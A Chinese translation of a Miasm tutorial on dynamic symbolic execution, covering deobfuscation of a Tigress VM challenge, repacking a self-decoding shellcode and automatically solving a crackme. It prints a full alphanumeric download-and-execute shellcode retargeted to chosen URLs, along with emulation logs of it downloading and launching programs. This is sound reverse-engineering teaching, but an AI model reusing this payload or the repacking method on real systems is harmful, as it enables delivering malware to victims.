玩轉動態符號執行

動態符號執行（Dynamic symbolic execution，DSE）是一種目前較流行的，強大的分析方法，它通常用在下面幾種情況中，如：

• 代碼覆蓋率
• 生成輸入和測試用例
• 生成Exploit
• 直接fuzzing
• 檢查越界訪問
• 自動破解crackme
• 演算法重構
• 反混淆
• ...

Miasm並不是第一個實現了這一功能的工具，但是，因為它已經滿足所有實現DSE的必要條件,所以將其他功能添加到main branch只是時間問題。

本文用幾個例子和一個簡單的API來教你怎麼在腳本中使用DSE。

• 從被混淆的程序中恢復出它的演算法
• 在不進行逆向的情況下重用別人的殼
• 自動破解crackme

概述：

• 使用DSE的破解教程
• TigressVM
• 運行程序
• 添加DSE
• 深入研究
• 逆向一個shellcode
• 提高代碼覆蓋率-破解crackme
• 概述
• 構建新的輸入
• 自動探測
• 最後的想法
• 相關資源

這篇分析基於1fb3326版Miasm

使用DSE的破解教程

動態符號執行（DSE，也叫做concolic execution)使用一個具體的值進行符號執行。這種符號執行可以避免由循環引起的路徑爆炸，和在表達式太複雜或系統調用會生成值時給符號一個具體的值。

在這種方法中，我們每次只考慮一條路徑，輸入約束會隨著程序路徑的不斷延伸而不斷增長，當路徑走到盡頭時，將其中某一個約束條件取反，以到達新的代碼路徑。

接下來我們通過一個例子來介紹DSE。

思考下列代碼：

int func(int arg) { arg += 1; if (arg & 0xFF == 0x12) { arg += 13; } return arg;}

我們先用一個具體的值來進行第一次代碼執行，此處令arg=0。

接下來，在進行一次符號執行之後，我們得到下述表達式：

• 0: ARG = ARG + 1
• 1: (ARG & 0xFF == 0x12) ? 2 : 4 -> 表達式無解!

因為表達式無解，符號執行運行不到函數結尾。當然，在這裡我們可以採用其他方法，比如說多路徑符號執行，但這不是本例的重點。

到這一步，在不考慮條件的前提下，通過使用具體的值進行符號執行，我們已經有了一個條件輸出（也就是一條可能的路徑）

接下來對條件進行取反，也就是假設(ARG & 0xFF == 0x12)不成立，或者說是(ARG & 0xFF != 0x12)，我們把新的條件加入到條件執行狀態中。接下來我們統一把這樣的條件叫做約束。

執行最終會結束，然後返回ARG + 1。這樣，我們就可以得出這一塊代碼在(ARG & 0xFF != 0x12)時返回ARG + 1。儘管代碼可能會被混淆，但我們使用這種方式根據不需要看代碼。

你以為這些就是全部了嗎，我們還可以用DSE做更多的事！我們可以用SMT求解器把路徑中的約束取反。假設求解器求出的答案是ARG = 0x123412，它滿足條件(ARG & 0xFF == 0x12)。

在對輸入進行上述操作之後，我們又得到了一條新的路徑和一個新的結果：如果(ARG & 0xFF == 0x12)代碼段返回ARG + 14。

上面這些就是在程序中產生新的輸入以到達新的代碼區域的全部過程了。這一方法常常被一些頂級團隊用在網路安全挑戰賽中，他們通過構造新的輸入以使代碼到達模糊測試到達不了的地方，以此加強模糊測試的效果。

模糊測試在測試輸入時確實非常快，但當碰見"複雜的條件"時，例如比較輸入和magic值（譯者註：事先約定好的幾個固定的位元組時，它們就不那麼有效了）.所幸，這正是DSE的長處。

TigressVM

接下來我們用這一技術對一個被混淆過的演算法進行恢復。我們用的例子來自於 J. Salwan的Tigress.

整個Tigress由幾個程序組成，它們接收命令行參數，通過演算法運算後輸出一個值。

運行程序

首先，我們寫個腳本用Miasm來運行這個程序。PR #515可以讓我們模擬運行Linux二進位文件的環境。

from miasm2.analysis.sandbox import Sandbox_Linux_x86_64# Create sandboxparser = Sandbox_Linux_x86_64.parser(description="ELF sandboxer")parser.add_argument("filename", help="ELF Filename")options = parser.parse_args()# Force environment simulationoptions.mimic_env = True# Dummy argument: 123456789options.command_line = ["".join(chr(0x30 + i) for i in xrange(1, 10))]# Instantiate and runsb = Sandbox_Linux_x86_64(options.filename, options, globals())sb.run()

現在啟動這個程序會報錯，因為strtoul這個樁還沒有插入程序中。

$ python tigress.py tigress-0-challenge-0[INFO]: xxx___libc_start_main(main=0x4005f4, argc=0x2, ubp_av=0x13ffc4, init=0x400ca0, fini=0x400d30, rtld_fini=0x0, stack_end=0x13ffb8) ret addr: 0x400539ValueError: (unknown api, 0x71111012L, "xxx_strtoul")

接下來我們手動實現一個strtoul。

def xxx_strtoul(jitter): ret_ad, args = jitter.func_args_systemv(["nptr", "endptr", "base"]) assert args.endptr == 0 content = jitter.get_str_ansi(args.nptr) value = int(content, args.base) print "%r -> %d" % (content, value) jitter.func_ret_systemv(ret_ad, value)

寫好strtoul後，再次運行程序，這次程序直接崩潰了。原因是這個函數使用了棧空間，所以我們要模擬棧操作（段+內存管理）

from miasm2.jitter.csts import PAGE_READ...# Init stack canarysb.jitter.ir_arch.do_all_segm = TrueFS_0_ADDR = 0x7ff70000sb.jitter.cpu.FS = 0x4sb.jitter.cpu.set_segm_base(sb.jitter.cpu.FS, FS_0_ADDR)sb.jitter.vm.add_memory_page( FS_0_ADDR + 0x28, PAGE_READ, "x42x42x42x42x42x42x42x42", "Stack canary FS[0x28]")

我們還需要支持128位的操作，所以我們會使用llvmjitter(python也可以，但會比較慢)

options.jitter = "llvm"

寫好這些後，程序就能正常運行了。

$ python tigress.py tigress-0-challenge-0[INFO]: xxx___libc_start_main(main=0x4005f4, argc=0x2, ubp_av=0x13ffc4, init=0x400ca0, fini=0x400d30, rtld_fini=0x0, stack_end=0x13ffb8) ret addr: 0x400539[INFO]: xxx_strtoul(nptr=0x13ffec, endptr=0x0, base=0xa) ret addr: 0x400660123456789 -> 123456789[INFO]: xxx_printf(fmt=0x400dbd) ret addr: 0x4006b48131652486802131118$ ./tigress-0-challenge-0 1234567898131652486802131118

添加DSE

接下來，我們需要用輸入建立一個輸出值的等式

也就是說，我們需要把strtoul的返回值"符號化"，並取得printf第二個參數的等式。

要做到這一步，我們需要在strtoul的末尾，把DSE引擎附加到jitter。在附加之後，Miasm會自動通知符號引擎具體值的狀態，收集約束，檢查符號執行是否與具體狀態相同等等。

首先，實例化DSEEngine對象，用它向外部API中插入我們的代碼（像沙盒一樣）

from miasm2.analysis.dse import DSEEnginedse = DSEEngine(sb.machine)dse.add_lib_handler(sb.libs, globals())

接下來，在strtoul的末尾把DSE對象附加到jitter，把所有寄存器的值設置為具體值（我們不需要追蹤它們的值）最後把返回值賦值給符號

from miasm2.expression.expression import ExprIdVALUE = ExprId("VALUE", 64)def xxx_strtoul(jitter): global dse ... jitter.func_ret_systemv(ret_ad, value) dse.attach(jitter) dse.update_state_from_concrete() dse.update_state({ dse.ir_arch.arch.regs.RAX: VALUE, })

這個腳本的執行時間會有點長。運行到後面還會報錯，這時我們看一下xxx_printf_symb這個函數，它是printf的樁函數。

別被嚇到了，我們只需要查看它的第二個參數。

def xxx_printf_symb(dse): result = dse.eval_expr(dse.ir_arch.arch.regs.RSI) print result raise RuntimeError("Exit")

最後我們得到下面這個複雜的等式。

({(VALUE+(VALUE|(VALUE+0x34D870D1)|0xFFFFFFFFD9FCA98B)+0x34D870D1) 0 64, ((VALUE+(VALUE|(VALUE+0x34D870D1)|0xFFFFFFFFD9FCA98B)+0x34D870D1)[63:64]?(0xFFFFFFFFFFFFFFFF,0x0)) 64 128}*{({((((((VALUE|0x46BC480) << ({(((VALUE+0x34D870D1)&0x7)|0x1)[0:8] 0 8, 0x0 8 64}&0x3F))&0x3F) << 0x4)|((VALUE+0x1DD9C3C5) << ({((- ((((VALUE+0x34D870D1)*0x38BCA01F)&0xF)|0x1))+0x40)[0:8] 0 8, 0x0 8 64}&0x3F))|((VALUE+0x1DD9C3C5) >> ({((((VALUE+0x34D870D1)*0x38BCA01F)&0xF)|0x1)[0:8] 0 8, 0x0 8 64}&0x3F)))*0x2C7C60B7) 0 64, (((((((VALUE|0x46BC480) << ({(((VALUE+0x34D870D1)&0x7)|0x1)[0:8] 0 8, 0x0 8 64}&0x3F))&0x3F) << 0x4)|((VALUE+0x1DD9C3C5) << ({((- ((((VALUE+0x34D870D1)*0x38BCA01F)&0xF)|0x1))+0x40)[0:8] 0 8, 0x0 8 64}&0x3F))|((VALUE+0x1DD9C3C5) >> ({((((VALUE+0x34D870D1)*0x38BCA01F)&0xF)|0x1)[0:8] 0 8, 0x0 8 64}&0x3F)))*0x2C7C60B7)[63:64]?(0xFFFFFFFFFFFFFFFF,0x0)) 64 128}*{(VALUE|0x46BC480) 0 64, ((VALUE|0x46BC480)[63:64]?(0xFFFFFFFFFFFFFFFF,0x0)) 64 128})[0:64] 0 64, (({((((((VALUE|0x46BC480) << ({(((VALUE+0x34D870D1)&0x7)|0x1)[0:8] 0 8, 0x0 8 64}&0x3F))&0x3F) << 0x4)|((VALUE+0x1DD9C3C5) << ({((- ((((VALUE+0x34D870D1)*0x38BCA01F)&0xF)|0x1))+0x40)[0:8] 0 8, 0x0 8 64}&0x3F))|((VALUE+0x1DD9C3C5) >> ({((((VALUE+0x34D870D1)*0x38BCA01F)&0xF)|0x1)[0:8] 0 8, 0x0 8 64}&0x3F)))*0x2C7C60B7) 0 64, (((((((VALUE|0x46BC480) << ({(((VALUE+0x34D870D1)&0x7)|0x1)[0:8] 0 8, 0x0 8 64}&0x3F))&0x3F) << 0x4)|((VALUE+0x1DD9C3C5) << ({((- ((((VALUE+0x34D870D1)*0x38BCA01F)&0xF)|0x1))+0x40)[0:8] 0 8, 0x0 8 64}&0x3F))|((VALUE+0x1DD9C3C5) >> ({((((VALUE+0x34D870D1)*0x38BCA01F)&0xF)|0x1)[0:8] 0 8, 0x0 8 64}&0x3F)))*0x2C7C60B7)[63:64]?(0xFFFFFFFFFFFFFFFF,0x0)) 64 128}*{(VALUE|0x46BC480) 0 64, ((VALUE|0x46BC480)[63:64]?(0xFFFFFFFFFFFFFFFF,0x0)) 64 128})[63:64]?(0xFFFFFFFFFFFFFFFF,0x0)) 64 128})[0:64]

把VALUE=123456789代進去算一下，用assert關鍵字把它的值斷言為和具體值一樣。

from miasm2.expression.expression import ExprId, ExprInt...def xxx_printf_symb(dse): result = dse.eval_expr(dse.ir_arch.arch.regs.RSI) print result obtained = dse.symb.expr_simp(result.replace_expr({VALUE: ExprInt(123456789, 64)})) print obtained assert int(obtained) == sb.jitter.cpu.RSI raise RuntimeError("Exit")

可以發現，這一次的輸入令我們的等式成立了。

在J. Salwan用來對結果進行驗證的多個測試用例上運行，我們可以獲得同樣的準確率。（下一個例子涉及到信號處理，為簡單起見，這裡就不介紹了）

深入研究

不出所料，我們的公式對於VM-0的Challenge-2是不成立的。

通過用同一模塊中的 DSEPathConstraint 類替換DSEEngine類，可以讓Miasm跟蹤路徑上的約束。

from miasm2.analysis.dse import DSEPathConstraintdse = DSEPathConstraint(sb.machine)

這些約束會存放在z3.Solver對象上，我們可以通過dse.cur_solver來對他們進行訪問（然後是dse.cur_solver.assertions）。

不過這個對象能做的不僅僅是這些，根據produce_solution選項的不同，它可以實現不同的功能，幾個選項如下：

• PRODUCE_SOLUTION_CODE_COV
• PRODUCE_SOLUTION_BRANCH_COV,
• PRODUCE_SOLUTION_PATH_COV

它會為試著為每塊沒走過的代碼段，CFG分支和CFG路徑分別生成一個新的反例。

默認情況下，這個方法會在 new_solutions 這個屬性中存放多個（solution identifier 和其對應的輸入）。

這些方案可以通過重寫 produce_solution（判斷是否應該生成新的求解器）和handle_solution（將結果求解器模型轉化成新的解法）進行擴展

所以，在這個例子中，用默認選項（code coverage）運行腳本後，程序就返回一些（新目標，解決方案）：

>>> dse.new_solutions{ ExprInt(0x4007D4, 64): set([[VALUE = 60813477099536420]]), ExprInt(0x4007BF, 64): set([[VALUE = 15749087897455188096], [VALUE = 633318710181888]])}

事實上，我們可以根據錯誤的輸入值對公式的輸出值進行驗證，除了633318710181888（兩條不同的路徑可以產生相同的結果）

進一步來說，通過重寫handle_solution並找到對應的路徑約束，然後根據對應的公式用新的值重新模擬這個過程，我們就可以還原最初的約束（if(cond)會影響到產生的公式）條件。

example/symbol_exec/dse_strategies.py 這個例子可以用作這種方法的入門學習。

在模糊測試中，我們可以用這些值作為新的輸入來到達新的代碼段。

逆向一個加殼的shellcode

還記得這個shellcode嗎？

提醒一下，這個shellcode通篇只有字母和數字，它實際上有一個自修改的樁（self-modifying stub）可在適當位置對真正的shellcode進行脫殼。

shellcode中的樁程序會在跳轉到真正的payload之前運行兩個解密循環，而真正的shellcode會下載並執行指定程序。

劇透：我們會使用DSE來獲得一個類似的shellcode，但是是從一個受控制的URL上下載下來的。

首先，我們運行一個腳本來載入這個shellcode（起碼到達初始進入點）。

from miasm2.analysis.machine import Machinefrom miasm2.jitter.csts import PAGE_READ, PAGE_WRITE# Init and map the shellcodedata = open("shellcode.bin").read()machine = Machine("x86_32")jitter = machine.jitter()addr_sc = 0x400000jitter.vm.add_memory_page(addr_sc, PAGE_READ|PAGE_WRITE, data, "Shellcode")# Init environment: stack, and EAX on the entry_pointjitter.init_stack()jitter.cpu.EAX = addr_sc# Add a breakpoint before the OEPdef jump_on_oep(jitter): print "OEP reached!" return Falsejitter.add_breakpoint(addr_sc + 0x4b, jump_on_oep)# Launch the jitterjitter.init_run(addr_sc)jitter.continue_run()

首先要獲得存儲初始狀態函數的結果的方程。要做到這一步，我們會使用DSE引擎，在內存中符號化初始的shellcode，符號化的內存範圍可以通過 symbolize_memory 函數指定。

from miasm2.analysis.dse import DSEEnginefrom miasm2.core.interval import interval...# Init the dsedse = DSEEngine(machine)# Add a breakpoint before the OEP...# Init jitter context and DSEjitter.init_run(addr_sc)dse.attach(jitter)dse.update_state_from_concrete()dse.symbolize_memory(interval([(addr_sc, addr_sc + len(data) - 1)]))# Launch the jitterjitter.continue_run()

這樣就可以獲取0x42th處的等式了。

from miasm2.expression.expression import *print dse.eval_expr(ExprMem(ExprInt(addr_sc + 0x42, 32), 8))

也就是：(MEM_0x400053^(MEM_0x400052*0x10))

MEM_<addr> 是DSE引擎用於表示符號化addr處的內存而創建的符號，這個符號可以通過 dse.memory_to_expr(addr) 函數獲得。

從我們先前的分析來看，最終的內存由樁程序，下載並執行的payload，以unicode編碼的URLs和一些無用的位元組組成。

要想達成我們的目的，需要保留最終的payload和更新URL，也就是說，我們會把最終狀態設置為和內存中在0x368位元組處（stub+payload），以及接下來我們更新過URL。

要完成上述目標，我們先用 DSEPathConstraint 這個對象來保存路徑約束。

from miasm2.analysis.dse import DSEPathConstraint...dse = DSEPathConstraint(machine, produce_solution=False)

接下來，用我們的URL構建我們期望的內存布局。

...jitter.continue_run()# Force final statememory = jitter.vm.get_mem(addr_sc, 0x368)# > url == garbageurls = ["https://miasm.re/1", "https://github.com/cea-sec/miasm"]memory += "x00".join(urls) + "x00x00"

注意，這個腳本也可以用來修改payload...

for i, c in enumerate(memory): addr = addr_sc + i exp = ExprMem(ExprInt(addr, 32), 8) value = ExprInt(ord(c), 8) eq = dse.eval_expr(exp) # Constraint the result of the equation at address "addr" (in "eq") to be # equal to our custom memory byte "value" eaff = ExprAff(eq, value) dse.cur_solver.add(dse.z3_trans.from_expr(eaff))

在這個階段，用求解器計算一下結果：

dse.cur_solver.check()model = dse.cur_solver.model()out = ""for addr in xrange(addr_sc, addr_sc + len(data)): x = model.eval(dse.z3_trans.from_expr(dse.memory_to_expr(addr))) try: out += chr(x.as_long()) except: # No constraint on this input, lets use an arbitrary value out += "A"

但等等，如果看一看結果的位元組，我們就會發現它不僅僅是由字母和數字構成！

是的，我們從來沒有限制輸入是字母和數字。這個問題很好解決。

import z3def force_alphanum(x): """ Force x in [A-Za-z0-9] """ constraint = [] # Integer constraint.append(z3.And(x <= ord(9), x >= ord(0))) # Uppercase constraint.append(z3.And(x <= ord(Z), x >= ord(A))) # Lowercase constraint.append(z3.And(x <= ord(z), x >= ord(a))) return z3.Or(*constraint)...# Force alphanumfor addr in xrange(addr_sc, addr_sc + len(data)): z3_addr = dse.z3_trans.from_expr(dse.memory_to_expr(addr)) dse.cur_solver.add(force_alphanum(z3_addr))# Get the solution...

最終我們得到了新鮮出爐的shellcode。

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

用前面一篇文章中的腳本，對shellcode是否正確進行一下驗證:

...[INFO]: urlmon_URLDownloadToCacheFileW(0x0, 0x20000000, 0x20000018, 0x1000, 0x0, 0x0) ret addr: 0x401161https://miasm.re/1[INFO]: kernel32_CreateProcessW(0x20000018, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x13ff88, 0x13ff78) ret addr: 0x4012c5...[INFO]: urlmon_URLDownloadToCacheFileW(0x0, 0x20000000, 0x20000026, 0x1000, 0x0, 0x0) ret addr: 0x401161https://github.com/cea-sec/miasm[INFO]: kernel32_CreateProcessW(0x20000026, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x13ff88, 0x13ff78) ret addr: 0x4012c5...

完美！

這不是魔法：這只是一個自解壓的樁程序，不依賴數據流和控制流。例如，使用了壓縮的樁程序不會只有這麼點代碼。

提高覆蓋率-破解crackme

目標程序是example/samples/dse_crackme.c，對應的腳本是example/symbol_exec/dse_crackme.py

概述

這個crackme的主要流程是，從文件中載入一個key，然後運行幾個測試用例。這些測試用例包括：

• 文件長度的限制
• 算術溢出的測試(2 * buf[7] == 14) && (buf[7] != 7)
• magic值的測試(不適合獨立的fuzzer)
• 基於表實現的一個CRC16的值

最終的目的是輸出"OK"。

我們會使用公用的提高覆蓋率的策略：

1. 運行某個輸入
2. 記錄哪些分支沒被執行以及相關的約束
3. 解析並為這些分支產生一個新的輸入
4. 回到步驟1

這樣，輸入就會逐漸地擴展到新的代碼塊上(也就是說，在越來越多的測試用例下走向成功)

腳本dse_crackme.py是實現這個例子的代碼，不過這超出了本文的範圍。

建立新的輸入

正如前面看到的，我們使用了DSE引擎來追蹤路徑約束，使用的是下面這些熟悉的代碼：

# Instanciate the DSE enginemachine = Machine("x86_64")dse = DSE(machine)# Attach to the jitterdse.attach(sb.jitter)# Update the jitter state. df is read, but never set# Approaches: specific or generic# - Specific:# df_value = ExprInt(sb.jitter.cpu.df, dse.ir_arch.arch.regs.df.size)# dse.update_state({# dse.ir_arch.arch.regs.df: df_value# })# - Genericdse.update_state_from_concrete()

在這一步中，進行模擬會導致程序跳轉到一個未知的地址，事實上，在具體執行的時候，對__libc_start_main的調用是作為樁程序來使用的（見miasm2/os_dep/linux_stdlib.py）。但要想使DSE工作，還需要把它符號化。

在這裡，我們實現了這個程序的一個原始版本。我們使用"_symb"後綴作為命令約定。

def xxx___libc_start_main_symb(dse): # [RDI, RSI, RDX, RCX, R8, R9] # main, argc, argv, ... regs = dse.ir_arch.arch.regs top_stack = dse.eval_expr(regs.RSP) main_addr = dse.eval_expr(regs.RDI) argc = dse.eval_expr(regs.RSI) argv = dse.eval_expr(regs.RDX) hlt_addr = ExprInt(0x1337beef, 64) dse.update_state({ ExprMem(top_stack, 64): hlt_addr, regs.RDI: argc, regs.RSI: argv, dse.ir_arch.IRDst: main_addr, dse.ir_arch.pc: main_addr, })

我們可以通過add_handler函數把這一函數註冊到 __libc_start_main 的地址中去。（相當於加了一個斷點）。

但為了減輕工作量，我們可以使用：

# Register symbolic stubs for extern functions (xxx_puts_symb, ...)dse.add_lib_handler(sb.libs, globals())

用這行代碼，Miasm會使用當前腳本中定義的這個函數，自動為imports進行註冊。這和沙盒執行時的機制是一樣的。

要繼續執行程序，接下來我們需要FILE相關的函數。我們定義了一個SymbolicFile類，它可以使用一個具體的size和nmemb參數對文件進行讀取，並返回符號化的byte。

我們也實現了相關的函數：

• xxx_fopen_symb
• xxx_fread_symb
• xxx_fclose_symb

它們的實現很簡單，這裡就不介紹了。主要功能就是，讀取文件並返回位元組，當然，文件大小也是用符號表示。

最後，調用puts來顯示"BAD"或"OK"。一旦程序運行到這裡，執行就停止了。

要做到這點，並保存最終的結果（BAD或OK），在puts樁程序中，我們需要raise一個exception。

# Stop the execution on puts and get back the corresponding stringclass FinishOn(Exception): def __init__(self, string): self.string = string super(FinishOn, self).__init__()def xxx_puts_symb(dse): string = dse.jitter.get_str_ansi(dse.jitter.cpu.RDI) raise FinishOn(string)

現在，我們可以從程序的開始，到最終的puts，都保持DSE運行.下一步就是產生新的輸入了。

當 DSEPathConstraint 對象可以解出到達新分支的約束時，它的handle_solution 函數就會被調用。這個函數接收相關的z3模型以及新的目標作為參數。一個解可以重寫這一方法來生成新的解。

我們也可以使用與new_solutions屬性中的新的解相關的模型.（見上面）

然後重用目前的策略來生成的新的輸入。例如，我們使用代碼覆蓋的策略來生成新的輸入以到達之前沒到達過的代碼段。

strategy = DSEPathConstraint.PRODUCE_SOLUTION_CODE_COV# Other possibilities:# strategy = DSEPathConstraint.PRODUCE_SOLUTION_BRANCH_COV,# strategy = DSEPathConstraint.PRODUCE_SOLUTION_PATH_COVdse = DSEPathConstraint(machine, produce_solution=strategy)

在程序執行到最後時，我們就必須建立與計算出的解（new_solutions的屬性值）相對應的文件內容，並保存它們，為之後做準備.

finfo = FILE_to_info_symb[FILE_stream]for sol_ident, model in dse.new_solutions.iteritems(): # Build the file corresponding to solution in model out = "" fsize = max(model.eval(dse.z3_trans.from_expr(FILE_size)).as_long(), len(finfo.gen_bytes)) for index in xrange(fsize): try: byteid = finfo.gen_bytes[index] out += chr(model.eval(dse.z3_trans.from_expr(byteid)).as_long()) except (KeyError, AttributeError) as _: # Default value if there is no constraint on current byte out += "x00" # Save solution for later use todo.add(out)

在這一步，我們可以運行文件中的二進位程序，並為每個分支生成新的輸入。

自動探測

我們現在需要做的就是自動探測所有的解。首先，我們需要恢復兩次實驗之間的狀態。

相關的DSE功能是它的快照功能。因為要保存已生成的解-避免為已探測的代碼段生成新的解-keep_known_solutions選項設置為true:

## Save the current clean state, before any computation of the FILE contentsnapshot = dse.take_snapshot()...dse.restore_snapshot(snapshot, keep_known_solutions=True)

所以，我們先建立一個空文件：

todo = set([""]) # Set of file contents to test

現在，只要還有候選輸入，我們不斷進行下述步驟：

1. 獲取文件內容中的候選輸入
2. 把它們列印出來以觀察它們的演變
3. 恢復clean狀態
4. 運行附加了DSE的程序

最後，如果得到一個合法的解，就使用break跳出程序。否則，把新的輸入添加到候選輸入集合中，並從步驟1開始。

相關代碼很簡單：

while todo: # Prepare a solution to try, based on the clean state file_content = todo.pop() print "CUR: %r" % file_content open(TEMP_FILE.name, "w").write(file_content) dse.restore_snapshot(snapshot, keep_known_solutions=True) FILE_to_info.clear() FILE_to_info_symb.clear() # Play the current file try: sb.run() except FinishOn as finish_info: print finish_info.string if finish_info.string == "OK": # Stop if the expected result is found found = True break # Get new candidates finfo = FILE_to_info_symb[FILE_stream] for sol_ident, model in dse.new_solutions.iteritems(): # Build the file corresponding to solution in model ... todo.add(out)

啟動這個最終的腳本，得到下列輸出：

CUR: BADCUR: x00BADCUR: x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00BADCUR: Mx00x00x00x00x00x00x00x00x00x00x00x00x00x00BADCUR: Mx00x00x00x00x00x00x07x00x00x00x00x00x00x00BADCUR: Mx00x00x00x00x00x00x87x00x00x00x00x00x00x00BADCUR: M!@$Mx00x00x87x00x00x00x00x00x00x00BADCUR: M!@$MNx0ex87xb1}
Nxc60xe7OKFOUND !

我們可以觀察到上面這些檢查點，分別是：

• 檢查文件大小
• 檢查第一個位元組（等於M）
• 分別在兩個測試用例（x!=7,2*x==14）中檢查溢出
• 檢查magic值
• 檢查CRC16的值（必須等於1337）

我們可以用已得到的結果來檢查結果是否正確：

$ hexdump -C test.txt00000000 4d 21 40 24 4d 4e 0e 87 b1 7d 0a 4e c6 30 e7 |M!@$MN...}.N.0.|$ gcc dse_crackme.c -o dse_crackme$ ./dse_crackme test.txtOK

最終我們得到了正確的結果。

在這裡，代碼覆蓋率的策略已經足夠了；但並不總是這樣。如果這一最簡單的策略不夠好，那就使用更強力，當然也更麻煩，的策略，比如說分支和路徑覆蓋策略。要使用新的策略，只需要修改 DSEPathConstraint 的produce_solution 參數。

邊註：對於那些對內部實現感興趣的人，你可能注意到了，CRC16是基於表實現的。最後，一些待求解的約束如下所示：

@16[table_offset + symbolic_element] == CST

我們可以用z3查找符號，解出這個約束，要做到這點，z3需要知道表的值。

為了達到這一目的，我們可以使用 Miasmexpr_range 工具來取得可到達的地址區間。如果區間不是太大的話，我們可以在內存內容中添加一個約束給z3（@16[table_offset + 2] == 0x1021等）。

因為地址是用符號保存的，所以這也是可以做到的。因為性能的原因，其它的一些框架沒有選擇這種方法.要在Miasm中模仿這一過程，定址過程可以由它們的DSE.handle方法中的具體值來完成。

最後的想法

這篇文章對DSE能完成的工作做了一個大體的介紹。

Miasm的實現方式非常靈活；它可以滿足大部人的需要。此外，只需要幾行代碼，就可以將DSE添加到現有腳本中。事實證明它是一種強大的逆向工具。

相關資源

相關的腳本：

• tigress.py
• repack.py

相關鏈接：

• Unleashing MAYHEM on Binary Code
• Manticore - Defcon 200
• Angr - Defcon magic2000
• Using Miasm to fuzz binaries with AFL (+ DSE)
• Enhancing Symbolic Execution with Veritesting
• Your Exploit is Mine: Automatic Shellcode - Transplant for Remote Exploits
• Driller: Augmenting Fuzzing Through Selective - Symbolic Execution

原文鏈接：[翻譯]玩轉動態符號執行-『外文翻譯』-看雪安全論壇

本文由看雪翻譯小組 夢野間 編譯，來源miasms blog

轉載請註明來自看雪社區